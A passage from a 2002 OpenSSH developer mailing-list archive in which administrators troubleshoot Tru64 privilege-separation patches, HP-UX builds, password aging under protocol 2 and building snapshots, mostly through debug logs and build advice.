>root may use keylogout -f to do this (at your own risk)!
>Connection to hostname closed by remote host.
>Connection to hostname closed.
>
>But when ssh into the same server using ssh -1 username at hostname it
>works just fine.
>ssh -1 username at hostname
>username at hostname's password: 
>Warning: Your password has expired, please change it now
>Enter login password: 
>New password: 
>Re-enter new password: 
>sshd (SYSTEM): passwd successfully changed for username
>Last login: Wed Aug 28 11:27:17 2002 from 10.11.42.65
>
>Can anybody help me how to get this working for protocol 2.
>
>Thanks
>R/Amulya
>
>_______________________________________________
>openssh-unix-dev at mindrot.org mailing list
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>
>  
>





From POTTERVELD at ANLMEP.PHY.ANL.GOV  Thu Aug 29 07:49:49 2002
From: POTTERVELD at ANLMEP.PHY.ANL.GOV (David Potterveld)
Date: Wed, 28 Aug 2002 16:49:49 -0500
Subject: Tru64 privsep patch testing
Message-ID: <020828164949.202002a9@ANLMEP.PHY.ANL.GOV>

OK, I got a chance to try out the Tru64 patch for privsep. I applied the patch
to 3.4p1. Partial success, in that it now works for me for logins to "root".
Logins to ordinary accounts fail after authentication, when trying to set tty
characteristics. See the excerpt from the debug messages below. This is for
Tru64 V4.0F (with enhanced_security turned on, obviously.) I guess it's time
to dive into the code...

[--- debug transcript ---]
debug1: server_input_channel_req: channel 0 request x11-req reply 0
debug1: session_by_channel: session 0 channel 0
debug1: session_input_channel_req: session 0 req x11-req
debug1: fd 13 setting O_NONBLOCK
debug2: fd 13 is O_NONBLOCK
debug1: channel 1: new [X11 inet listener]
debug1: server_input_channel_req: channel 0 request shell reply 0
debug1: session_by_channel: session 0 channel 0
debug1: session_input_channel_req: session 0 req shell
debug1: fd 4 setting TCP_NODELAY
debug1: channel 0: rfd 12 isatty
debug1: fd 12 setting O_NONBLOCK
debug2: fd 11 is O_NONBLOCK
debug1: Setting controlling tty using TIOCSCTTY.
debug3: : tty /dev/ttyp2 ptyfd 7
debug3:  entering
debug3: : checking request 38
Error in terminal setup.

Couldn't establish session for dhp from xxxx.phy.anl.gov
debug1: Calling cleanup 0x12004fb60(0x140031218)
debug1: session_pty_cleanup: session 0 release /dev/ttyp2
[--- end ---]



From harbaugh at nciaxp.ncifcrf.gov  Thu Aug 29 08:33:58 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Wed, 28 Aug 2002 18:33:58 -0400 (EDT)
Subject: patch almost works on 5.1A openssh 3.4p1 - get in, but get kicked
 out (fwd)
Message-ID: <Pine.OSF.4.10.10208281832320.3533-100000@nciaxp.ncifcrf.gov>

Hi-

I applied the privsep patch to Tru64 5.1A openssh 3.4p1 and it
*almost* works.

I get in from the client side and xauth is run, but in the meantime
the server side disconnects.  Running sshd in debug mode level 3 gives
the following output:

     .
     .
     .
     debug1: session_input_channel_req: session 0 req shell
     debug1: fd 5 setting TCP_NODELAY
     debug1: channel 0: rfd 13 isatty
     debug1: fd 13 setting O_NONBLOCK
     debug2: fd 12 is O_NONBLOCK
     debug1: Setting controlling tty using TIOCSCTTY.
     debug3: mm_answer_pty: tty /dev/pts/2 ptyfd 4
     debug3: mm_request_receive entering
     debug3: monitor_read: checking request 38
     Error in terminal setup.
     
     Couldn't establish session for harbaugh from ncihp1.ncifcrf.gov
     debug1: Calling cleanup 0x120055cac(0x140031cc8)
     debug1: session_pty_cleanup: session 0 release /dev/pts/2
     debug1: Calling cleanup 0x12005d934(0x0)
     Connection closed by remote host.
     debug1: channel_free: channel 0: server-session, nchannels 2
     debug3: channel_free: status: The following connections are open:
       #0 server-session (t4 r0 i0/0 o0/0 fd 13/12)
     
     debug3: channel_close_fds: channel 0: r 13 w 12 e -1
     debug1: channel_free: channel 1: X11 inet listener, nchannels 1
     debug3: channel_free: status: The following connections are open:
     
     debug3: channel_close_fds: channel 1: r 14 w 14 e -1
     debug1: session_close: session 0 pid 16039
     debug3: mm_request_send entering: type 27
     mm_request_send: write
     debug1: Calling cleanup 0x12006c9f4(0x0)
     debug1: Calling cleanup 0x12005d934(0x0)

I added some debugging to session.c, so on the client side it looks like this:

     .
     .
     .
     debug3: tty_make_modes: 91 1
     debug3: tty_make_modes: 92 0
     debug3: tty_make_modes: 93 0
     debug2: x11_get_proto /usr/bin/X11/xauth list 129.43.3.127:10.0 2>/dev/null
     debug1: Requesting X11 forwarding with authentication spoofing.
     debug1: channel request 0: x11-req
     debug1: channel request 0: shell
     debug1: fd 4 setting TCP_NODELAY
     debug2: callback done
     debug1: channel 0: open confirm rwindow 0 rmax 32768
     debug2: channel 0: rcvd adjust 131072
     debug3: in do_child before PRIVSEP setup_sia, options.use_login=0,use_privsep=1
     
     debug3: before PRIVSEP setup_sia, use_privsep=1
     
     debug3: mm_setup_sia entering
     debug3: mm_request_send entering: type 38
     Compaq Tru64 UNIX V5.1A (Rev. 1885); Fri Aug 23 13:12:42 EDT 2002
     
     On Wed Nov 21 14:03:06 EST 2001 your system was successfully updated from:
     
     Compaq Computer Corporation Tru64 UNIX V5.1 (Rev. 732)
     
     On Wed Nov 21 11:06:42 EST 2001 your system was successfully updated from:
     
     Compaq Computer Corporation Tru64 UNIX V4.0G (Rev. 1530)
     
     On Wed Dec 13 12:44:21 EST 2000 your system was successfully updated from:
     
        Digital UNIX V4.0D  [Rev. 878]; Tue Jun  6 16:09:57 EDT 2000   
     
     Environment:
       USER=harbaugh
       LOGNAME=harbaugh
       HOME=/users/primgr/harbaugh
       PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/inst/openssh-3.4p1/bin
       MAIL=/var/spool/mail/harbaugh
       SHELL=/bin/csh
       SSH_CLIENT=129.43.3.127 49978 22
       SSH_TTY=/dev/pts/2
       TERM=xterm
       DISPLAY=localhost:10.0
     debug3: channel_close_fds: channel 0: r -1 w -1 e -1
     debug3: channel_close_fds: channel 1: r 14 w 14 e -1
     Running /usr/bin/X11/xauth add unix:10.0 MIT-MAGIC-COOKIE-1 d87847e37dc8566520d60c3c3fbb7318
     debug1: Received SIGCHLD.
     debug1: channel_free: channel 0: client-session, nchannels 1
     debug3: channel_free: status: The following connections are open:
       #0 client-session (t4 r0 i0/0 o0/0 fd 5/6)
     
     debug3: channel_close_fds: channel 0: r 5 w 6 e 7
     Connection to fchelp closed by remote host.
     Connection to fchelp closed.
     debug1: Transferred: stdin 0, stdout 0, stderr 75 bytes in 0.4 seconds
     debug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 177.9
     debug1: Exit status -1

Do you have some idea where the 'Error in terminal setup' is coming from?  Since
the debug messages I added to session.c are going to the client, something is
happening to the tty outside of the mm_setup_sia function.  It doesn't seem
right that the server is disconnecting at this point, since the environment
is already setup.

Any ideas or suggestions?

Thanks,
Toni
On Wed, 28 Aug 2002, Ben Lindstrom wrote:

  > 
  > I'm sorry people like you have to suffer for this.. But the decision was
  > made that this patch won't make it into OpenSSH 3.5p1.  If enough people
  > test it and verify that it is correct then it will go into 3.6p1.
  > 
  > I've spent 3 months working on this harassing five different people for
  > testing, and only one of those five bothered to confirm in private it
  > worked.  Which was not enough for it to go in.  I stated I required two to
  > three people to sign off on it.
  > 
  > www.mindrot.org has instructions on joining openssh-unix-dev at mindrot.org
  > list.  When you get done testing (including, if you can, the regress/
  > tests) post your results to that list.
  > 
  > But someone from HP/Compaq or the Tru64 community is going to have to take
  > an active support role for their platform.  I neither have the time nor
  > energy to do so since I'm suppose to be offically doing care and feeding
  > of AIX (4.x and 5.x) and NeXTStep.
  > 
  > - Ben
  > 
  > On Wed, 28 Aug 2002, Toni L. Harbaugh-Blackford wrote:
  > 
  > > Ben-
  > >
  > > On Wed, 28 Aug 2002, Ben Lindstrom wrote:
  > >
  > >   >
  > >   > http://bugzilla.mindrot.org/show_bug.cgi?id=296
  > >   >
  > >   > Points to the last patch I'll do for the Tru64 community due to their lack
  > >   > of interest.  I won't go into it because I just got down screaming at the
  > >   > top of my lungs at openssh-unix-dev at mindrot.org about lack of Tru64
  > >   > community support.
  > >
  > > I'M INTERESTED !!!!  :D
  > >
  > > We'll be running alphas at our sight for the forseeable future, and infact we
  > > are hoping to get some EV7 systems in here by November.  So I'll have to
  > > keep building openssh for the duration.
  > >
  > > I don't use the ssh that our 'vendor of the moment' HP provides, because it
  > > does not include tcp wrappers support.
  > >
  > > Who are these people who are *NOT* interested?!!   >:-(
  > >
  > > Yes, the OS is not going to get new features, but for as long as there are
  > > new alpha systems shipped it WILL continue on.
  > >
  > >   >
  > >   > I've gotten good feedback.  The patch is against the --current tree, but
  > >   > may apply without too much of a problem for 3.4p1.
  > >   >
  > >   > - Ben
  > >   >
  > >
  > > I'll give it a shot.  Thanks!
  > > Toni
  > >
  > >   > On Wed, 28 Aug 2002, Toni L. Harbaugh-Blackford wrote:
  > >   >
  > >   > > Hi--
  > >   > >
  > >   > > I was just wondering if anyone has gotten any further with fixing
  > >   > > the problem with privilege separation and tru64 SIA.
  > >   > >
  > >   > > Thanks,
  > >   > > Toni
  > >   > >
  > >   > > On Sun, 30 Jun 2002, Ben Lindstrom wrote:
  > >   > >
  > >   > >   >
  > >   > >   > The issue is in how SIA does it's work.  Under privsep by time the session
  > >   > >   > is being initialized it is no longer root.  Which causes it to throw a
  > >   > >   > fit.
  > >   > >   >
  > >   > >   > I have a partial patch which implement SIA session handling in the same
  > >   > >   > way PAM is done, but I'm still running into problems with the SIA session
  > >   > >   > not accepting the sia session establish command.
  > >   > >   >
  > >   > >   > You can gain pre-authenation privsep security by setting
  > >   > >   > 'BROKEN_FD_PASSING' in config.h and recompiling.  This will do privillege
  > >   > >   > seperation up through the login screen, but it will then revert back to
  > >   > >   > standard way of handling SSH sessions afterwards (single process).
  > >   > >   >
  > >   > >   > I have a few people gathering eror messages for me so hopefully we can
  > >   > >   > solve this problem.  I can provide you with what I have of the patch, but
  > >   > >   > it does not get you any farther at this point.
  > >   > >   >
  > >   > >   > - Ben
  > >   > >   >
  > >   > >   > On Thu, 27 Jun 2002, Toni L. Harbaugh-Blackford wrote:
  > >   > >   >
  > >   > >   > > Hi-
  > >   > >   > >
  > >   > >   > > FYI, the failure appears to be related to privilege separation.
  > >   > >   > >
  > >   > >   > > Setting 'UsePrivilegeSeparation no' in sshd_config allows sshd to work
  > >   > >   > > properly.
  > >   > >   > >
  > >   > >   > > ---------- previous message ----------
  > >   > >   > > Date: Thu, 27 Jun 2002 11:29:42 -0400 (EDT)
  > >   > >   > > From: Toni L. Harbaugh-Blackford <harbaugh at nciaxp.ncifcrf.gov>
  > >   > >   > > To: secureshell at securityfocus.com
  > >   > >   > > Cc: Toni L. Harbaugh-Blackford <harbaugh at nciaxp.ncifcrf.gov>
  > >   > >   > > Subject: openssh 3.4p1 + Tru64 4.0G + SIA = "Account is disabled -- see Account
  > >   > >   > >     Administrator"
  > >   > >   > >
  > >   > >   > > Hi-
  > >   > >   > >
  > >   > >   > >    I just built openssh 3.4p1 on Tru64 4.0G with Enhanced Security.
  > >   > >   > >    I set up the privilege separation stuff as directed, but I get the message
  > >   > >   > >
  > >   > >   > > Account is disabled -- see Account Administrator
  > >   > >   > >
  > >   > >   > >    after giving my password when I attempt to log in.  I am running the new
  > >   > >   > >    version on an alternate port while the old version is still running on
  > >   > >   > >    the standard port.
  > >   > >   > >
  > >   > >   > >    Has anyone seen this problem?
  > >   > >   > >
  > >
  > > -----------------------------------------------------------------------
  > > Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
  > > AlphaServer 8400 System Administrator
  > > SAIC/NCI Frederick Advanced Biomedical Computing Center
  > >
  > >
  > 
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center




From J.S.Peatfield at damtp.cam.ac.uk  Thu Aug 29 08:41:56 2002
From: J.S.Peatfield at damtp.cam.ac.uk (J.S.Peatfield at damtp.cam.ac.uk)
Date: Wed, 28 Aug 2002 23:41:56 +0100
Subject: sshd problems openssh3.4p1 on 6.5.17
Message-ID: <200208282241.g7SMfum25287.redmires.amtp.cam.ac.uk@damtp.cam.ac.uk>

SGI changed something in libc between 6.5.14 and 6.5.15.  Binaries built against
6.5.14 won't (always) work on later versions.

At least I think it was libc.  We had to recompile a whole bunch of stuff when
we went past 6.5.15 (amd, bash, ssh etc).


From J.S.Peatfield at damtp.cam.ac.uk  Thu Aug 29 08:48:12 2002
From: J.S.Peatfield at damtp.cam.ac.uk (J.S.Peatfield at damtp.cam.ac.uk)
Date: Wed, 28 Aug 2002 23:48:12 +0100
Subject: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4
Message-ID: <200208282248.g7SMmC725304.redmires.amtp.cam.ac.uk@damtp.cam.ac.uk>

> # zlib                  1.1.4          zlib           
>   zlib.zlib-RUN  

My HP-UX is a bit rusty but that looks suspiciously like only the
runtime bits might be installed...  Can you check if you can swinstall
any other zlib packages?


From harbaugh at nciaxp.ncifcrf.gov  Thu Aug 29 08:45:29 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Wed, 28 Aug 2002 18:45:29 -0400 (EDT)
Subject: Tru64 privsep patch testing
In-Reply-To: <020828164949.202002a9@ANLMEP.PHY.ANL.GOV>
Message-ID: <Pine.OSF.4.10.10208281842060.3533-100000@nciaxp.ncifcrf.gov>

On Wed, 28 Aug 2002, David Potterveld wrote:

  > Tru64 V4.0F (with enhanced_security turned on, obviously.) I guess it's time
  > to dive into the code...
  >

For some reason under 4.0F the function names don't show up in the debug3 messages
 
  > debug3: : tty /dev/ttyp2 ptyfd 7
  > debug3:  entering
  > debug3: : checking request 38
  > Error in terminal setup.
  > 
  > Couldn't establish session for dhp from xxxx.phy.anl.gov
  > debug1: Calling cleanup 0x12004fb60(0x140031218)
  > 

Here they are from my 5.1A attempt:

     debug3: mm_answer_pty: tty /dev/pts/2 ptyfd 4
     debug3: mm_request_receive entering
     debug3: monitor_read: checking request 38
     Error in terminal setup.
     
     Couldn't establish session for harbaugh from ncihp1.ncifcrf.gov
     debug1: Calling cleanup 0x120055cac(0x140031cc8)

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From mouring at etoh.eviladmin.org  Thu Aug 29 09:53:52 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Wed, 28 Aug 2002 18:53:52 -0500 (CDT)
Subject: Tru64 privsep patch testing
In-Reply-To: <Pine.OSF.4.10.10208281842060.3533-100000@nciaxp.ncifcrf.gov>
Message-ID: <Pine.BSO.4.44.0208281851360.17760-100000@etoh.eviladmin.org>

Recompile with GCC.  Some older compilers may not have __func__ nor
__FUNCTION__.

- Ben

On Wed, 28 Aug 2002, Toni L. Harbaugh-Blackford wrote:

> On Wed, 28 Aug 2002, David Potterveld wrote:
>
>   > Tru64 V4.0F (with enhanced_security turned on, obviously.) I guess it's time
>   > to dive into the code...
>   >
>
> For some reason under 4.0F the function names don't show up in the debug3 messages
>
>   > debug3: : tty /dev/ttyp2 ptyfd 7
>   > debug3:  entering
>   > debug3: : checking request 38
>   > Error in terminal setup.
>   >
>   > Couldn't establish session for dhp from xxxx.phy.anl.gov
>   > debug1: Calling cleanup 0x12004fb60(0x140031218)
>   >
>
> Here they are from my 5.1A attempt:
>
>      debug3: mm_answer_pty: tty /dev/pts/2 ptyfd 4
>      debug3: mm_request_receive entering
>      debug3: monitor_read: checking request 38
>      Error in terminal setup.
>
>      Couldn't establish session for harbaugh from ncihp1.ncifcrf.gov
>      debug1: Calling cleanup 0x120055cac(0x140031cc8)
>
> -----------------------------------------------------------------------
> Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
> AlphaServer 8400 System Administrator
> SAIC/NCI Frederick Advanced Biomedical Computing Center
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From bob at proulx.com  Thu Aug 29 11:26:42 2002
From: bob at proulx.com (Bob Proulx)
Date: Wed, 28 Aug 2002 19:26:42 -0600
Subject: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4
In-Reply-To: <200208282248.g7SMmC725304.redmires.amtp.cam.ac.uk@damtp.cam.ac.uk>
References: <200208282248.g7SMmC725304.redmires.amtp.cam.ac.uk@damtp.cam.ac.uk>
Message-ID: <20020829012642.GA6194@misery.proulx.com>

J.S.Peatfield at damtp.cam.ac.uk <J.S.Peatfield at damtp.cam.ac.uk> [2002-08-28 23:48:12 +0100]:
> > # zlib                  1.1.4          zlib           
> >   zlib.zlib-RUN  
> 
> My HP-UX is a bit rusty but that looks suspiciously like only the
> runtime bits might be installed...  Can you check if you can swinstall
> any other zlib packages?

Agreed.

But why do you need to swinstall zlib?  If you are compiling ssh from
source then I recommend you also compile zlib from source.  You are in
the source world, stay in the source world.  Zlib compiles and
configures easily for hpux.  This guarentees that you won't get
mismatched object modules and simplies life a lot.

Bob


From dtucker at zip.com.au  Thu Aug 29 12:37:53 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 29 Aug 2002 12:37:53 +1000
Subject: interested tru64 unix person - privsep patch against 3.4p1 + 
 howto/regress
References: <Pine.OSF.4.10.10208281257520.10937-100000@nciaxp.ncifcrf.gov>
Message-ID: <3D6D8901.73FC2BC6@zip.com.au>

"Toni L. Harbaugh-Blackford" wrote:
> Also, can someone point me to quick and dirty instructions for the /regress
> stuff?

Try here:
http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=102734348721347

Short Instructions:
1) Apply the patch:
http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=102734348721347&q=p3
2) Comment out "SUDO=sudo" from test-exec.sh if you don't use sudo.
3) Make sure all of the directories from regress/ up to / are not
group/other writable and are owned by your testing user or root.
4) CD to regress/ and run ./runtests.sh.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From rabani at lucent.com  Thu Aug 29 17:45:26 2002
From: rabani at lucent.com (Ghulam Rabani)
Date: Thu, 29 Aug 2002 10:45:26 +0300
Subject: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4
Message-ID: <61FFF58533B8D211921C0001FA7E11030430A646@sr0001exch001u.sa.lucent.com>

Peat (All),

I'm not sure what to think. As of yesterday I managed to install openssh! I
have been able to successfully connect TO and FROM the HP machine that is
running ssh (with X11 Forwarding enabled).

I ran the swlist command on the zlib package again but also on several other
programs including "traceroute" and "bash":

sw zlib
# Initializing...
# Contacting target "dngwks1"...
#
# Target:  dngwks1:/
#

# zlib                  1.1.4          zlib           
  zlib.zlib-RUN                                       
# swlist traceroute
# Initializing...
# Contacting target "dngwks1"...
#
# Target:  dngwks1:/
#

# traceroute                    991603         traceroute     
  traceroute.traceroute-RUN                                   
# swlist perl
# Initializing...
# Contacting target "dngwks1"...
#
# Target:  dngwks1:/
#

# perl                  5.6.1          perl           
  perl.perl-MAN                                       
  perl.perl-RUN                                       
  perl.perl-SHLIBS                                    
# swlist bash
# Initializing...
# Contacting target "dngwks1"...
#
# Target:  dngwks1:/
#

# bash                  2.05           bash           
  bash.bash-RUN 

All the above packages just display the RUN module. In addition, all the
above packages run without any problems. The final thing I should mention
(as you may know) all the above packages were installed after being received
in Depot format. 

However, one problem I am having at the moment with ssh is that, it comes up
with a warning, which although doesn't seem to effect the operation of the
application it would be nice to resolve this (note: I do not get this
message when establishing a connection to the HP sshd with the "sshd" user).

The error message I get is:

    Directory does not exist or has wrong permissions
    Directory missing fonts.dir
    Incorrect font server address or syntax

Hope you can all help.

Regards,

Ghulam Rabani.

PS - Please copy me in the CC list on any responses.

-----Original Message-----
From: J.S.Peatfield at damtp.cam.ac.uk
[mailto:J.S.Peatfield at damtp.cam.ac.uk]
Sent: Thursday, August 29, 2002 1:48 AM
To: openssh-unix-dev at mindrot.org; rabani at lucent.com
Subject: Re: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4


> # zlib                  1.1.4          zlib           
>   zlib.zlib-RUN  

My HP-UX is a bit rusty but that looks suspiciously like only the
runtime bits might be installed...  Can you check if you can swinstall
any other zlib packages?


From amulyap at getsmart.com  Thu Aug 29 04:55:41 2002
From: amulyap at getsmart.com (Amulya Parthasarathy)
Date: Wed, 28 Aug 2002 11:55:41 -0700
Subject: password aging problem with ssh protocol 2
Message-ID: <4F596388B2186E4DB4CECC512293E5DEF6C2@GSEXCLS.getsmart.uun>

Hi,
I'm using openssh3.1p1 and I'm having some problem with password aging
with ssh protocol 2. Every time a password expires and I try to login I
get the following message 

ssh username at hostname
username at hostname's password: 
Warning: Your password has expired, please change it now
Enter login password: 
removing root credentials would break the rpc services that
use secure rpc on this host!
root may use keylogout -f to do this (at your own risk)!
Connection to hostname closed by remote host.
Connection to hostname closed.

But when ssh into the same server using ssh -1 username at hostname it
works just fine.
ssh -1 username at hostname
username at hostname's password: 
Warning: Your password has expired, please change it now
Enter login password: 
New password: 
Re-enter new password: 
sshd (SYSTEM): passwd successfully changed for username
Last login: Wed Aug 28 11:27:17 2002 from 10.11.42.65

Can anybody help me how to get this working for protocol 2.

Thanks
R/Amulya





From harbaugh at nciaxp.ncifcrf.gov  Thu Aug 29 21:52:39 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 07:52:39 -0400 (EDT)
Subject: tru64 patch: openssh-SNAP-20020826.tar.gz does not contain 'configure',
 so how to build?
Message-ID: <Pine.OSF.4.10.10208290745440.20640-100000@nciaxp.ncifcrf.gov>

Hi-

Since the tru64 patch was designed for -current, I thought I would try
to build it with a recent snapshot before backporting to 3.4p1.

So I downloaded openssh-SNAP-20020826.tar.gz frpm the portable snapshots, but it
does not contain the 'configure' script.  I tried copying the 'configure' from
3.4p1, but that does not create a Makefile from the Makefile.in.

Where are the directions for building a snapshot?  The INSTALL file
says to use the non-existant 'configure'.

Thanks,
Toni

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at nciaxp.ncifcrf.gov  Thu Aug 29 21:56:03 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 07:56:03 -0400 (EDT)
Subject: or use DTK (Re: Tru64 privsep patch testing)
In-Reply-To: <Pine.BSO.4.44.0208281851360.17760-100000@etoh.eviladmin.org>
Message-ID: <Pine.OSF.4.10.10208290753520.20640-100000@nciaxp.ncifcrf.gov>

If you don't want to bother with gcc, the DTK compiler
should work also.

On Wed, 28 Aug 2002, Ben Lindstrom wrote:

  > 
  > Recompile with GCC.  Some older compilers may not have __func__ nor
  > __FUNCTION__.
  > 
  > - Ben
  > 
  > On Wed, 28 Aug 2002, Toni L. Harbaugh-Blackford wrote:
  > 
  > > On Wed, 28 Aug 2002, David Potterveld wrote:
  > >
  > >   > Tru64 V4.0F (with enhanced_security turned on, obviously.) I guess it's time
  > >   > to dive into the code...
  > >   >
  > >
  > > For some reason under 4.0F the function names don't show up in the debug3 messages
  > >
  > >   > debug3: : tty /dev/ttyp2 ptyfd 7
  > >   > debug3:  entering
  > >   > debug3: : checking request 38
  > >   > Error in terminal setup.
  > >   >
  > >   > Couldn't establish session for dhp from xxxx.phy.anl.gov
  > >   > debug1: Calling cleanup 0x12004fb60(0x140031218)
  > >   >
  > >
  > > Here they are from my 5.1A attempt:
  > >
  > >      debug3: mm_answer_pty: tty /dev/pts/2 ptyfd 4
  > >      debug3: mm_request_receive entering
  > >      debug3: monitor_read: checking request 38
  > >      Error in terminal setup.
  > >
  > >      Couldn't establish session for harbaugh from ncihp1.ncifcrf.gov
  > >      debug1: Calling cleanup 0x120055cac(0x140031cc8)
  > >
  > > -----------------------------------------------------------------------
  > > Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
  > > AlphaServer 8400 System Administrator
  > > SAIC/NCI Frederick Advanced Biomedical Computing Center
  > >
  > > _______________________________________________
  > > openssh-unix-dev at mindrot.org mailing list
  > > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
  > >
  > 
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at ncifcrf.gov  Thu Aug 29 21:56:03 2002
From: harbaugh at ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 07:56:03 -0400 (EDT)
Subject: or use DTK (Re: Tru64 privsep patch testing)
In-Reply-To: <Pine.BSO.4.44.0208281851360.17760-100000@etoh.eviladmin.org>
Message-ID: <Pine.OSF.4.10.10208290753520.20640-100000@nciaxp.ncifcrf.gov>

If you don't want to bother with gcc, the DTK compiler
should work also.

On Wed, 28 Aug 2002, Ben Lindstrom wrote:

  > 
  > Recompile with GCC.  Some older compilers may not have __func__ nor
  > __FUNCTION__.
  > 
  > - Ben
  > 
  > On Wed, 28 Aug 2002, Toni L. Harbaugh-Blackford wrote:
  > 
  > > On Wed, 28 Aug 2002, David Potterveld wrote:
  > >
  > >   > Tru64 V4.0F (with enhanced_security turned on, obviously.) I guess it's time
  > >   > to dive into the code...
  > >   >
  > >
  > > For some reason under 4.0F the function names don't show up in the debug3 messages
  > >
  > >   > debug3: : tty /dev/ttyp2 ptyfd 7
  > >   > debug3:  entering
  > >   > debug3: : checking request 38
  > >   > Error in terminal setup.
  > >   >
  > >   > Couldn't establish session for dhp from xxxx.phy.anl.gov
  > >   > debug1: Calling cleanup 0x12004fb60(0x140031218)
  > >   >
  > >
  > > Here they are from my 5.1A attempt:
  > >
  > >      debug3: mm_answer_pty: tty /dev/pts/2 ptyfd 4
  > >      debug3: mm_request_receive entering
  > >      debug3: monitor_read: checking request 38
  > >      Error in terminal setup.
  > >
  > >      Couldn't establish session for harbaugh from ncihp1.ncifcrf.gov
  > >      debug1: Calling cleanup 0x120055cac(0x140031cc8)
  > >
  > > -----------------------------------------------------------------------
  > > Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
  > > AlphaServer 8400 System Administrator
  > > SAIC/NCI Frederick Advanced Biomedical Computing Center
  > >
  > > _______________________________________________
  > > openssh-unix-dev at mindrot.org mailing list
  > > http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
  > >
  > 
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From dtucker at zip.com.au  Thu Aug 29 22:16:15 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Thu, 29 Aug 2002 22:16:15 +1000
Subject: tru64 patch: openssh-SNAP-20020826.tar.gz does not contain 
 'configure',so how to build?
References: <Pine.OSF.4.10.10208290745440.20640-100000@nciaxp.ncifcrf.gov>
Message-ID: <3D6E108F.E7E2F813@zip.com.au>

"Toni L. Harbaugh-Blackford" wrote:
> Where are the directions for building a snapshot?  The INSTALL file
> says to use the non-existant 'configure'.

make -f Makefile.in distprep

Requires autoconf (and probably gnu m4).

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From openssh-unix-dev at thewrittenword.com  Thu Aug 29 22:49:15 2002
From: openssh-unix-dev at thewrittenword.com (Albert Chin)
Date: Thu, 29 Aug 2002 07:49:15 -0500
Subject: tru64 patch: openssh-SNAP-20020826.tar.gz does not contain 'configure', so how to build?
In-Reply-To: <Pine.OSF.4.10.10208290745440.20640-100000@nciaxp.ncifcrf.gov>; from harbaugh@nciaxp.ncifcrf.gov on Thu, Aug 29, 2002 at 07:52:39AM -0400
References: <Pine.OSF.4.10.10208290745440.20640-100000@nciaxp.ncifcrf.gov>
Message-ID: <20020829074915.A78294@oolong.il.thewrittenword.com>

On Thu, Aug 29, 2002 at 07:52:39AM -0400, Toni L. Harbaugh-Blackford wrote:
> Since the tru64 patch was designed for -current, I thought I would try
> to build it with a recent snapshot before backporting to 3.4p1.
> 
> So I downloaded openssh-SNAP-20020826.tar.gz frpm the portable snapshots, but it
> does not contain the 'configure' script.  I tried copying the 'configure' from
> 3.4p1, but that does not create a Makefile from the Makefile.in.
> 
> Where are the directions for building a snapshot?  The INSTALL file
> says to use the non-existant 'configure'.

Run 'autoconf' to generate configure. I think you'll need 2.52+. You
might also need to run 'autoheader' to generate config.h.in.

-- 
albert chin (china at thewrittenword.com)


From bugzilla-daemon at mindrot.org  Fri Aug 30 01:22:46 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 01:22:46 +1000 (EST)
Subject: [Bug 362] Loss of change password functionality
Message-ID: <20020829152246.262DF3D15A@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=362





------- Additional Comments From thomas.kube at gmx.net  2002-08-30 01:22 -------
Hello,

we have upgraded OpenSSH on HP-UX (11.00 and 11.11). The impact is the same as
Dirk wrote: No chance to work with passwd -f. By the way: we want to work with
LDAP in the near future. Will it work on HP-UX and the current OpenSSH?

Thanks for answer,

Thomas Kube
thomas.kube at gmx.net
thomas.kube at otto.de



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


